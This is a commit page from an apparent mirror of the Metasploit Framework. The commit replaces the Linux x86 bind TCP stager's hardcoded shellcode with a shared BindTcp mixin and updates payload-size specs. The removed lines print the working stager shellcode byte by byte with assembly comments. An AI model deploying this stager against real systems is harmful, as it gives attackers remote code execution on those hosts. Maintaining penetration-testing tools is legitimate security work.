infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Reenable metasm bind_tcp stager

bug/bundler_fix
Brent Cook 2015-05-06 09:34:35 -05:00
parent 3c2e6bb698
commit 0493f58834
2 changed files with 11 additions and 71 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

78
modules/payloads/stagers/linux/x86/bind_tcp.rb
View File

@ -6,86 +6,26 @@
require 'msf/core' require 'msf/core'
require 'msf/core/handler/bind_tcp' require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/linux/bind_tcp'
module Metasploit4
### CachedSize = :dynamic
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module Metasploit3
CachedSize = 79
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Linux include Msf::Payload::Linux::BindTcp
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Bind TCP Stager', 'Name' => 'Bind TCP Stager (Linux x86)',
'Description' => 'Listen for a connection', 'Description' => 'Listen for a connection (Linux x86)',
'Author' => [ 'Author' => [ 'skape', 'egypt', ],
'skape', # original
'egypt', # NX support
],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => 'linux', 'Platform' => 'linux',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp, 'Handler' => Msf::Handler::BindTcp,
'Stager' => 'Convention' => 'sockedi',
{ 'Stager' => { 'RequiresMidstager' => true }
'Offsets' =>
{
'LPORT' => [ 0x29, 'n' ],
},
'Payload' =>
"\x6a\x7d" +# push byte +0x7d
"\x58" +# pop eax
"\x99" +# cdq
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
"\xcd\x80" +# int 0x80
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x5e" +# pop esi
"\x52" +# push edx
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x6a\x10" +# push byte +0x10
"\x51" +# push ecx
"\x50" +# push eax
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\xcd\x80" +# int 0x80
"\xd1\xe3" +# shl ebx,1
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x43" +# inc ebx
"\xb0\x66" +# mov al,0x66
"\x89\x51\x04" +# mov [ecx+0x4],edx
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\x89\xdf" +# mov edi,ebx
"\xff\xe1" # jmp ecx
}
)) ))
end end

4
spec/modules/payloads_spec.rb
View File

@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do
'stagers/linux/x86/bind_tcp', 'stagers/linux/x86/bind_tcp',
'stages/linux/x86/meterpreter' 'stages/linux/x86/meterpreter'
], ],
dynamic_size: false, dynamic_size: true,
modules_pathname: modules_pathname, modules_pathname: modules_pathname,
reference_name: 'linux/x86/meterpreter/bind_tcp' reference_name: 'linux/x86/meterpreter/bind_tcp'
end end
@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do
'stagers/linux/x86/bind_tcp', 'stagers/linux/x86/bind_tcp',
'stages/linux/x86/shell' 'stages/linux/x86/shell'
], ],
dynamic_size: false, dynamic_size: true,
modules_pathname: modules_pathname, modules_pathname: modules_pathname,
reference_name: 'linux/x86/shell/bind_tcp' reference_name: 'linux/x86/shell/bind_tcp'
end end